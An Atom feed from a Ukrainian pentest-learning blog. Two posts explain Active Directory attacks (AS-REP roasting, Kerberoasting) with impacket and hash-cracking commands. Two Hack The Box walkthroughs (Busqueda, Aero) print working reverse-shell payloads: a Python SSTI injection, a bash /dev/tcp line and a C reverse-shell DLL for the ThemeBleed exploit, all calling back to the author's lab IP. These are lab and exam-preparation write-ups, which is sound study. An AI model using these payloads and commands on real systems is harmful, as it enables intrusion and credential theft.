<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://checklister.github.io/bezpc.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://checklister.github.io/bezpc.github.io/" rel="alternate" type="text/html" /><updated>2025-12-18T11:21:25+00:00</updated><id>https://checklister.github.io/bezpc.github.io/feed.xml</id><title type="html">bezpc.github.io</title><author><name>bezpc</name></author><entry><title type="html">Diving Into AD: part two</title><link href="https://checklister.github.io/bezpc.github.io/2025/12/18/DivingIntoAD-part-two.html" rel="alternate" type="text/html" title="Diving Into AD: part two" /><published>2025-12-18T00:00:00+00:00</published><updated>2025-12-18T00:00:00+00:00</updated><id>https://checklister.github.io/bezpc.github.io/2025/12/18/DivingIntoAD-part-two</id><content type="html" xml:base="https://checklister.github.io/bezpc.github.io/2025/12/18/DivingIntoAD-part-two.html"><![CDATA[<p>Пірнаючи в AD: частина друга
От, розібралися ми з TGT(дивитись першу частину) і навіть освоїли AS-REP roasting. Далі за логікою речей іде Kerberoasting, певне найвідоміша атака на AD. Але трохи бекграунду. Active directory не має окремих
акаунтів для сервісів, по факту, це такі ж акаунти як і користувацькі, з правами, атрибутами і тд. Тобто коли адмін хоче створити умовний сервіс MSSQL - він створює користувача mssqlservice. Головною відмінністю
є те, що такі акаунти мають атрибут SPN(Service principle name). Формат наступний: <code class="language-plaintext highlighter-rouge">SERVICECLASS/hostname[:port][/servicename]</code>. Як приклад - <code class="language-plaintext highlighter-rouge">MSSQLSvc/db01.corp.local:1433</code>. І от коли ми хочемо отримати TGS(Ticket Granting Service) - 
ми просимо керберос дати нам сервіс саме за SPN, у відповідь на що керберос пройдеться по всіх акаунтах, гляне в кого є такий SPN і віддасть нам тікет, який теж складається з двох частин - тіла тікета, підписаного паролем сервісу і session key, підписаного паролем користувача.
І як ми вже знаємо з AS-REP roasting-у - ми можемо підібрати пароль сервісу по словнику. В цьому випадку ламати треба вже тіло тікета. Знову ж таки, impacket має утиліту і для цього - <code class="language-plaintext highlighter-rouge">impacket-GetUserSPNs</code>. Синтакс ось:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>impacket-GetUserSPNs domain.local/user:password -dc-ip 10.0.0.1 -request
</code></pre></div></div>
<p>І от на руках в нас буде список хешів, які тоді вже ламаємо John-ом чи hashcat-ом.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>john hash --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt
</code></pre></div></div>
<p>І от ми вже маємо сервісний акаунт з паролем. 
Але можна піти далі. Популярним вектором у всяких СTF є привілей <code class="language-plaintext highlighter-rouge">WriteProperty (servicePrincipalName)</code> або ж <code class="language-plaintext highlighter-rouge">GenericWrite</code>. І дають нам ці права можливість записати SPN для користувача. Можеш спитати “І що з цього?”. А суть в тому, що керберосу абсолютно всеодно чи існує сервіс, чи існує хост, він просто дивиться чи є SPN.
Бачиш куди я веду? Ми пишемо користувачу SPN, а потім просимо керберос дати нам тікет до сервісу цього користувача. І він дає нам тікет, бо знаходить SPN. А далі лірика - ламаємо і дістаємо пароль. І для цього теж є тулза)
<a href="https://github.com/ShutdownRepo/targetedKerberoast">targetedKerberoast</a>. Ось приклад використання:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 targetedKerberoast.py -d domain.local -u user1 -p complexpassword -v 
</code></pre></div></div>
<p><img style="height:auto; max-width:100%" alt="image" src="https://github.com/user-attachments/assets/4957b15e-52fd-4965-bf59-88705bd77baf" />
Таким чином ми можемо отримати пароль користувача просто використовуючи права на запис SPN. 
Дякую за читання, зустрінемося на просторах мережі)</p>]]></content><author><name>bezpc</name></author><summary type="html"><![CDATA[Пірнаючи в AD: частина друга От, розібралися ми з TGT(дивитись першу частину) і навіть освоїли AS-REP roasting. Далі за логікою речей іде Kerberoasting, певне найвідоміша атака на AD. Але трохи бекграунду. Active directory не має окремих акаунтів для сервісів, по факту, це такі ж акаунти як і користувацькі, з правами, атрибутами і тд. Тобто коли адмін хоче створити умовний сервіс MSSQL - він створює користувача mssqlservice. Головною відмінністю є те, що такі акаунти мають атрибут SPN(Service principle name). Формат наступний: SERVICECLASS/hostname[:port][/servicename]. Як приклад - MSSQLSvc/db01.corp.local:1433. І от коли ми хочемо отримати TGS(Ticket Granting Service) - ми просимо керберос дати нам сервіс саме за SPN, у відповідь на що керберос пройдеться по всіх акаунтах, гляне в кого є такий SPN і віддасть нам тікет, який теж складається з двох частин - тіла тікета, підписаного паролем сервісу і session key, підписаного паролем користувача. І як ми вже знаємо з AS-REP roasting-у - ми можемо підібрати пароль сервісу по словнику. В цьому випадку ламати треба вже тіло тікета. Знову ж таки, impacket має утиліту і для цього - impacket-GetUserSPNs. Синтакс ось: impacket-GetUserSPNs domain.local/user:password -dc-ip 10.0.0.1 -request І от на руках в нас буде список хешів, які тоді вже ламаємо John-ом чи hashcat-ом. john hash --wordlist=/usr/share/wordlists/rockyou.txt hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt І от ми вже маємо сервісний акаунт з паролем. Але можна піти далі. Популярним вектором у всяких СTF є привілей WriteProperty (servicePrincipalName) або ж GenericWrite. І дають нам ці права можливість записати SPN для користувача. Можеш спитати “І що з цього?”. А суть в тому, що керберосу абсолютно всеодно чи існує сервіс, чи існує хост, він просто дивиться чи є SPN. Бачиш куди я веду? Ми пишемо користувачу SPN, а потім просимо керберос дати нам тікет до сервісу цього користувача. І він дає нам тікет, бо знаходить SPN. А далі лірика - ламаємо і дістаємо пароль. І для цього теж є тулза) targetedKerberoast. Ось приклад використання: python3 targetedKerberoast.py -d domain.local -u user1 -p complexpassword -v Таким чином ми можемо отримати пароль користувача просто використовуючи права на запис SPN. Дякую за читання, зустрінемося на просторах мережі)]]></summary></entry><entry><title type="html">Diving Into AD: part one</title><link href="https://checklister.github.io/bezpc.github.io/2025/12/16/DivingIntoAD-part-one.html" rel="alternate" type="text/html" title="Diving Into AD: part one" /><published>2025-12-16T00:00:00+00:00</published><updated>2025-12-16T00:00:00+00:00</updated><id>https://checklister.github.io/bezpc.github.io/2025/12/16/DivingIntoAD-part-one</id><content type="html" xml:base="https://checklister.github.io/bezpc.github.io/2025/12/16/DivingIntoAD-part-one.html"><![CDATA[<p>Пірнаючи в AD: частина перша</p>

<p>Починаючи з 2022 Offsec додали AD як обов’язкову секцію в OSCP, та і в реальному світі майже кожна велика компанія використовує AD. Тому я змушений занурити свою голову в це відро від Microsoft. 
Без лишньої абстракції - Active directory складається з централізованої бази даних на домен контролері і компах, які весь час просять базу даних скинути їм нові апдейти. І скидає вона їм все, що можна налаштувати.
Заставки, файли, політики паролів і заборони на програми. Домен контролер - контролює все що відбувається на компі, на всіх компах які в цьому домені, що і робить акаунт Domain Administrator - універсальним ключем і високопріоритетною ціллю для хакера.
І більшість функціоналу, як зрозуміло, вимагає від нас логіну і паролю до акаунту в домені. Банальний приклад - використовуючи креди, ти шлеш Ldap запит, щоб отримати список всіх користувачів. Але є речі які працюють і анонімно.
Одне з поширених - анонімні SMB шари, доступ до яких дозволений всім. На умовному HTB там, зазвичай, кладуть якісь файли з паролями чи щось в цьому дусі. В реальному світі, там можна знайти документи з чутливими данними.
Деякі конфіругації також дозволяють анонімні Ldap запити. Не всі звісно, але все ж. І це дозволяє нам з акаунтом Gues виконати Sid Lookup. В системах Windows кожен користувач має SID - унікальний код для ідентифікації.
Типово він виглядає отак :<code class="language-plaintext highlighter-rouge">S-1-5-21-3623811015-3361044348-30300820-1013</code>, він скалається з мета інфи (<code class="language-plaintext highlighter-rouge">S-1-5</code>), коду домену (<code class="language-plaintext highlighter-rouge">21-3623811015-3361044348-30300820</code>) і ідентифікатора користувача (<code class="language-plaintext highlighter-rouge">1013</code>). 
Якщо все ж ми маємо доступ до анонімних запитів - ми запитуємо Domain SID, а далі підставляємо числа від 1 до 1000 і просимо домен контролер дати нам інфу, що за користувач за цим SID. Існує автоматизована тулза в Impacket пакеті, яка робить цей брутфорс:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>impacket-lookupsid -target-ip 10.10.10.149  guest:@10.10.10.149
</code></pre></div></div>
<p>У відповідь отримуємо цілий словник користувачів які є в домені.
Завжди можна використовувати словники з інету, але погодься, коли словник точно підійде - приємніше. І от, озброєні словником користувачів можемо спробувати забрутфорсити їх паролі(рідко працює), а ще AS-REP Roasting.
Тут треба почати трохи здалеку. В версіях віндовс після 2010 почали використовувати Kerberos - спеціальний протокол автентифікації, який прийшов на заміну старим технлогіям. Багато в нього є приколів. 
І основна концепція - тікети - спеціальні структури даних зашифровані і підписані. Ticket Granting Ticket - спеціальний вид квитка, який видається на вході в домен, і має частину зашифровану хешем krbtgt і Session key зашифрований хешем паролю користувача, щоб тільки користувач міг ним користуватися і керберос на домен контролері (KDC).
Далі користувач шле цей тікет керберосу щоразу коли хоче отримати доступ до якогось сервісу, наприклад веб чи sql. Існує тулза <code class="language-plaintext highlighter-rouge">kerbrute</code> яка шле запити на TGT і намагається за відповідями зрозуміти чи існує корисувач в домені. Ось синтакс:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kerbrute userenum --dc &lt;domain controller&gt;  -d &lt;domain name&gt;  &lt;usernames file&gt;
</code></pre></div></div>
<p>Але поки зосередимося на TGT. Щоб надіслати запит на нього - треба надіслати креди. Але існує спеціальний параметр в користувача <code class="language-plaintext highlighter-rouge">DONT_REQUIRE_PREAUTH</code>. Що дозволяє запитувати TGT знаючи тільки ім’я. Ти можеш запитати, а нах*я взагалі такий функціонал? Ну Microsoft вважає що раз тікет зашифрований хешем krbtgt і хешем користувача, то можна давати - всеодно не розшифрують. Мем в тому, що розшифрують)
І от діставши словник - ідемо по всім користувачам і перевіряємо, раптом в когось вимкнений Pre Auth і він люб’язно віддасть нам тікет. Для цього Impacket теж має тулзу <code class="language-plaintext highlighter-rouge">impacket-GetNPUsers</code>. Ось синтакс:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>impacket-GetNPUsers domain.loc/ -dc-ip 10.211.12.10 -usersfile users.txt -format hashcat -outputfile hashes.txt -no-pass
</code></pre></div></div>
<p>Це видасть нам всі тікети, які були доступні. Але ж ми не можемо їх використати. Блінб, сраний майкрософт обійшов мене((9(. Але раз ми знаємо чим і як він зашифрований, чому не спробувати розшифрувати? Беремо rockyou.txt (для HTB достатньо його). Хешуємо паролі звідти один за одним і тоді пробуємо дешифрувати Session key цим хешем, аж поки не отримаємо щось хоч трохи зрозуміле. Автоматизовано цим займається John The Ripper та Hashcat:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
</code></pre></div></div>
<p>або</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> hashcat -m 18200 hashes.txt -w /usr/share/wordlists/rockyou.txt
</code></pre></div></div>
<p>І от якщо щось підійде - ми отримаємо пароль користувача, кайф же)?
Також існує N-на кількість багів у всіляких службах, типу LLMNR, PrintSpooler і MS-EFSRPC, основна суть яких зводиться до того щоб змусити віндовс машину залогінитися на нашу SMB шару зі своїми кредами, але це вже наступного разу. За підсумками сьогодні - ми пройшлися по найбільш популярним і простим атакам на AD якщо ми починаємо <del>з голою жопою</del> без будь яких кредів. А зараз - пора спати.</p>]]></content><author><name>bezpc</name></author><summary type="html"><![CDATA[Пірнаючи в AD: частина перша]]></summary></entry><entry><title type="html">Hack The Box - Busqueda</title><link href="https://checklister.github.io/bezpc.github.io/2025/12/06/HTB-Busqueda.html" rel="alternate" type="text/html" title="Hack The Box - Busqueda" /><published>2025-12-06T00:00:00+00:00</published><updated>2025-12-06T00:00:00+00:00</updated><id>https://checklister.github.io/bezpc.github.io/2025/12/06/HTB-Busqueda</id><content type="html" xml:base="https://checklister.github.io/bezpc.github.io/2025/12/06/HTB-Busqueda.html"><![CDATA[<p>Hack the Box - Busqueda
Новий день - нова машина. Сьогодні лінуксовська easy тачка з SSTI і експлуатацією кастомних скриптів.
Почавши з базового Nmap - бачимо 2 відкриті TCP порти. Веб - 80 і SSH 22. Для другого в нас нема ні логіну, ні паролю, тому відкриваємо другий. І нас вітає … не сайт, а помилка, що сервер перенаправив нас на searcher.htb(налаштовано як дефолтний сайт на сервері), але наш комп не знає, що це за сайт, тому ідемо в /etc/hosts і прописуємо - всі запити до searcher.htb слати на айпішник машини. І от нарешті, отримуємо сайт.
<img style="height:auto; max-width:100%" alt="Pasted image 20251205190551" src="https://github.com/user-attachments/assets/f7857260-353e-4283-ab96-6c7bf6a934ec" /></p>

<p>Він займається тим, що створює посилання для пошуку на різних платформах і вертає нам посилання. Внизу сайту вказаний фреймворк <code class="language-plaintext highlighter-rouge">searchor 2.4.0</code>. По зову серця ідемо шукати публічні вразливості. І знаходимо - SSTI(коли сервер не фільтрує ввід і приймає введення як конструкції мови програмування, що дозволяє нам виконувати код). Тут я витратив трохи часу на те щоб знайти правильний пейлоад, і вставити в
правильне місце. Сам запит приймає платформу і пошукові слова. І от в останні вставляємо наступний пейлоад:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>',import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.18",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")#
</code></pre></div></div>
<p><img style="height:auto; max-width:100%" alt="Pasted image 20251205205825" src="https://github.com/user-attachments/assets/eaf8cdb3-a430-4084-876a-1d1b5154255c" /></p>

<p>І відповідно netcat-ом ловимо шел. Але шел не простий - <del>Золотий</del> сирий, і половина команд нам буде казати, що хоче норм шел, а не щось написане на коліні. Один з простих способів апгрейднути шел -
<code class="language-plaintext highlighter-rouge">python3 -c 'import pty;pty.spawn("/bin/bash")'</code> - і система вважає що ми вже <del>дядько</del> в нормальному шелі. Ось юзер доступ на руках і ми ідемо далі - ескалація привілей, з якою я добряче задовбався. Але ми зробимо вигляд, що все завжди виходить з першого разу.
Так як експлуатували ми веб додаток, то і заходимо в систему в його папці(<code class="language-plaintext highlighter-rouge">/var/www/app/</code>), подивившись що і де, в цій же директорії знаходимо .git папку, яка свідчить, що цей файл десь зберігається в репозиторії(натяк). А в папці - config файл, насправді, в норм компаніях, на проді таке не роблять, але самі знаєте) 
<img style="height:auto; max-width:100%" alt="Pasted image 20251205205513" src="https://github.com/user-attachments/assets/b0ea9775-a666-4307-ae47-96016094788f" /></p>

<p>І тут же, в файлі - url всередині якої логін і пароль - до нашого нинішнього користувача. А сама лінка - gitea.searcher.htb, що наштовхує на думку - перевірити чи не маємо ми теж доступ. В той же <code class="language-plaintext highlighter-rouge">/etc/hosts</code> додаємо новий запит і в браузері бачимо сторінку gitea -локальний мененджер гіт репозиторіїв.</p>

<p><img style="height:auto; max-width:100%" alt="Pasted image 20251205205540" src="https://github.com/user-attachments/assets/c3f284a9-5872-48fc-9f22-e7334b896fdc" /></p>

<p>Скориставшись кредами, які щойно отримали - заходимо. А всередині знаходимо репозиторій з тією ж апкою, що тільки що ламали, тому не так цікаво. Але, в списку користувачів є ще й Administrator - може в нього є щось цікаве?
Так чи інакше вертаємося в термінал і дивимося, що може наш юзер - <code class="language-plaintext highlighter-rouge">sudo -l</code> - виводить нам, що ми можемо запускати якийсь кастомний скріпт від імені root.
<img style="height:auto; max-width:100%" alt="Pasted image 20251205205657" src="https://github.com/user-attachments/assets/982ab488-e975-439c-b5f6-51e0619c9bb4" /></p>

<p>Запускати, але не читати. Тому методом научного тику запускаємо. І скрипт дає нам список своїх можливостей</p>

<ol>
  <li>Docker-ps(Скоріше за все <code class="language-plaintext highlighter-rouge">docker ps</code> під капотом)</li>
  <li>Docker-inspect(Скоріше за все <code class="language-plaintext highlighter-rouge">docker inspect</code> під капотом)</li>
  <li>FullCheckup(Скоріше за все щось кастомне під капотом)</li>
</ol>

<p>Підемо по порядку - docker-ps показує нам список контейнерів які є - gitea і mysql(скоріше за все для неї ж).</p>

<p>docker-inspect - вже цікавіше - вона описує контейнер і все що йому передавалося. А передатися можуть і паролі, і логіни, і всіляке інше. Вводимо команду, але вона вимагає від нас синтаксу(</p>

<p>Погугливши, знаходимо як це все писати, тому кінцева команда виглядає так:
<code class="language-plaintext highlighter-rouge">sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect -f '' &lt;тег контейнера&gt;</code>
І дає це нам здорове таке полотно тексту зі всіма конфігами контейнера:
<img style="height:auto; max-width:100%" alt="Pasted image 20251205210254" src="https://github.com/user-attachments/assets/1aeb33de-a724-425a-8d65-a3a399726373" /></p>

<p>І серед цього місива знаходимо креди - пароль до mysql(точніше, юзера і рута). Ми б могли б сходити в mysql і глянути що там, але для початку перевіримо password reuse. І бінго, ми можемо зайти в gitea під адміном з цим паролем. В його репозиторіях ми знаходимо сорс код до system-checkup.py. І тепер буде легше його проексплуатувати.
<img style="height:auto; max-width:100%" alt="Pasted image 20251205210339" src="https://github.com/user-attachments/assets/57e6ed6d-a87c-4db7-8ccc-ac21e7333016" />
Як бачимо, команда full-checkup - викликає за відносним шляхом файл ./full-checkup.sh . Але як, якщо його нема? А ніяк. При спробі запуску ми отримуємо “Something went wrong”, бо програма не може знайти скрипт для запуску(нагадую, від імені root). Так давайте допоможемо бідній програмі знайти full-checkup.sh . Відкриваємо будь яку дерикторію, в яку можемо писати і створюємо файл full-checkup.sh з наступним вмістом(звичайни реверс шел):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/bin/bash
sh -i &gt;&amp; /dev/tcp/10.10.14.18/9002 0&gt;&amp;1
</code></pre></div></div>
<p>Даємо йому права на виконання <code class="language-plaintext highlighter-rouge">chmod +x full-checkup.sh</code> і запускаємо <code class="language-plaintext highlighter-rouge">sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-chekup</code>. І врешті решт - на руках рут
<img style="height:auto; max-width:100%" alt="Pasted image 20251205205403" src="https://github.com/user-attachments/assets/b96234ac-6b7d-47f7-a8c5-e3750970e351" /></p>

<p>Мораль: класна тачка, але я добряче набігався з ескалацією, і я б поставив машину все ж на medium. Урок на сьогодні - читаємо сорс код, не поремо гарячку, робимо діла.</p>]]></content><author><name>bezpc</name></author><summary type="html"><![CDATA[Hack the Box - Busqueda Новий день - нова машина. Сьогодні лінуксовська easy тачка з SSTI і експлуатацією кастомних скриптів. Почавши з базового Nmap - бачимо 2 відкриті TCP порти. Веб - 80 і SSH 22. Для другого в нас нема ні логіну, ні паролю, тому відкриваємо другий. І нас вітає … не сайт, а помилка, що сервер перенаправив нас на searcher.htb(налаштовано як дефолтний сайт на сервері), але наш комп не знає, що це за сайт, тому ідемо в /etc/hosts і прописуємо - всі запити до searcher.htb слати на айпішник машини. І от нарешті, отримуємо сайт.]]></summary></entry><entry><title type="html">Hack The Box - Aero</title><link href="https://checklister.github.io/bezpc.github.io/2025/12/05/HTB-Aero.html" rel="alternate" type="text/html" title="Hack The Box - Aero" /><published>2025-12-05T00:00:00+00:00</published><updated>2025-12-05T00:00:00+00:00</updated><id>https://checklister.github.io/bezpc.github.io/2025/12/05/HTB-Aero</id><content type="html" xml:base="https://checklister.github.io/bezpc.github.io/2025/12/05/HTB-Aero.html"><![CDATA[<p>Hack the Box - Aero</p>

<p>Планую я здавати OSCP в наступному році, і як платформу для практики використовую Hack the Box. Сьогодні на столі для препарації машини рівня Medium, Віндова Aero. 
Класичний nmap показує нам 1 порт - 80. Відкривши в браузері - отримуємо:
<img style="height:auto; max-width:100%" alt="Screenshot 2025-12-04 235049" src="https://github.com/user-attachments/assets/c8679382-83c2-4aa4-9f5d-1b1858dd30bd" /></p>

<p>І як істинний пентестер ідемо в upload). І приймає він тільки 2 файли .themepack і .theme .  В класичному пентесті, я б спробував обійти ці обмеження, але тут ми вийдемо з того що маємо, загугливши експлуатацію цих файлів - знаходимо віндовий(хто б сумнівався) експлойт - вінда довіряє .theme файлам як рідній мамі і запускає ліби(dll) які вони підтягують. Чуєш, до чого це веде)???
Знаходимо PoC і клонуємо з гіта: https://github.com/Durge5/ThemeBleedPy.git 
Але машина все ж медіум рівня, нам не дозволять просто взяти чужий код. Взагалі градація наступна: easy - копіюєш пейлоад з інета, medium -копіюєш пейлоад з інета і модифікуєш, hard - пишеш свій пейлоад, insane - вигадуєш нові вразливості(write up hack the box по insane машині - близько 100 сторінок). Тож сам експлойт тут працює за принципом завантаження .them, який підтягує stage_1 і stage_2, а вони вже наш власний stage_3. Головна умова - stage_3 - dll файл з експортованою функцією VerifyThemeVersion. Ідемо на https://www.revshells.com/, генеруємо пейлоад на c, міняємо функції і додаємо до експортованої</p>

<p><code class="language-plaintext highlighter-rouge">extern "C" __declspec(dllexport) int VerifyThemeVersion(void)</code></p>

<p>Це дасть компілятору зрозуміти, що цю треба експортувати(зробити доступною для виклику ззовні. 
Ось весь код:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;winsock2.h&gt;
#include &lt;stdio.h&gt;
#pragma comment(lib,"ws2_32")

WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in hax; 
char ip_addr[16] = "10.10.14.18"; 
char port[6] = "9001";            

STARTUPINFO ini_processo;

PROCESS_INFORMATION processo_info;

int rev_shell()
{
    WSAStartup(MAKEWORD(2, 2), &amp;wsaData);
    Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);


    struct hostent *host; 
    host = gethostbyname(ip_addr);
    strcpy_s(ip_addr, 16, inet_ntoa(*((struct in_addr *)host-&gt;h_addr)));

    hax.sin_family = AF_INET;
    hax.sin_port = htons(atoi(port));
    hax.sin_addr.s_addr = inet_addr(ip_addr);

    WSAConnect(Winsock, (SOCKADDR*)&amp;hax, sizeof(hax), NULL, NULL, NULL, NULL);

    memset(&amp;ini_processo, 0, sizeof(ini_processo));
    ini_processo.cb = sizeof(ini_processo);
    ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; 
    ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

    TCHAR cmd[255] = TEXT("cmd.exe");

    CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &amp;ini_processo, &amp;processo_info);

    return 0;
}

extern "C" __declspec(dllexport) int VerifyThemeVersion(void)
{
    rev_shell();
    return 0;
}

</code></pre></div></div>

<p>Тоді треба скомпілювати, для Visual Studio компілятора</p>

<p><code class="language-plaintext highlighter-rouge">cl.exe /MD /LD file.cpp</code></p>

<p>А для любителів свободи - mingw</p>

<p><code class="language-plaintext highlighter-rouge">mingw32-gcc main.c -shared -o stage_3 -lws2_32</code></p>

<p>Отримуємо dll, перейменовуємо на stage_3 і запускаємо python експлойт(він хостить 445 порт, тому з вінди ще треба поїбатися з зупинкою всього що слухає 445 до нас)
Завантажуємо в форму наш .theme файл(в ньому треба прописати свій айпішник) і слухаєио цільовий порт на нашій машині неткатом, щоб зловити реверс шел. А далі - лірика, файли один за одним зтягуються і запускають нашу власну dll.
<img style="height:auto; max-width:100%" alt="image" src="https://github.com/user-attachments/assets/839847b4-3922-4dc8-af11-121550572b49" /></p>

<p>І шел на руках:
<img style="height:auto; max-width:100%" alt="image" src="https://github.com/user-attachments/assets/98335101-97e4-412c-8d95-849c64f50700" /></p>

<p>Як ми бачимо, в системі ми не адмін і не system( Тому далі ескалація привілеїв. На вінді вона зазвичай дуже дивна і непряма. Пролиставши директорії в нашій домашній папці, знаходимо файл  <code class="language-plaintext highlighter-rouge">CVE-2023-28252_Summary.pdf</code> . Виглядає як дуже прозорий натяк) Сам експлойт досить адвансед, використовує вразливість драйвера.
Гуглимо і знаходимо дуже(дуже) детальний розбір цієх вразливості https://github.com/fortra/CVE-2023-28252 . Це експлойт який запускає блокнот від імені NT AUTHORITY\SYSTEM, що теж круто, але не прям вау)
Скачуємо код, відкриваємо в Visual studio і міняємо <code class="language-plaintext highlighter-rouge">notepad.exe</code> на наш пейлоад, персонально я взяв з того ж самого revshells.com powershell base64. Компілимо кінцевий .exe і завантажуємо його на машину. Для тих хто все ще любить запах свободи, на гітхабі валяються прекомпілені exe-шники, щоб не морочити голову з Visual studio. Для того щоб файл був на машині, я запустив пайтон сервак(<code class="language-plaintext highlighter-rouge">python -m http.server 80</code>), а на жертві запустив <code class="language-plaintext highlighter-rouge">curl http://myip/file.exe -o file.exe</code>. А далі просто запуск і ловля нового шела netcat-ом.</p>

<p><img style="height:auto; max-width:100%" alt="image" src="https://github.com/user-attachments/assets/fac1d2bf-3c43-4250-9655-ea21c31156ef" /></p>

<p>Мораль:
Гарна віндова тачка, яка поки не змушує, а тільки легенько натякає - чужими експлойтами ситий не будеш. 
P.S. Вінда як завжди решето)</p>]]></content><author><name>bezpc</name></author><summary type="html"><![CDATA[Hack the Box - Aero]]></summary></entry></feed>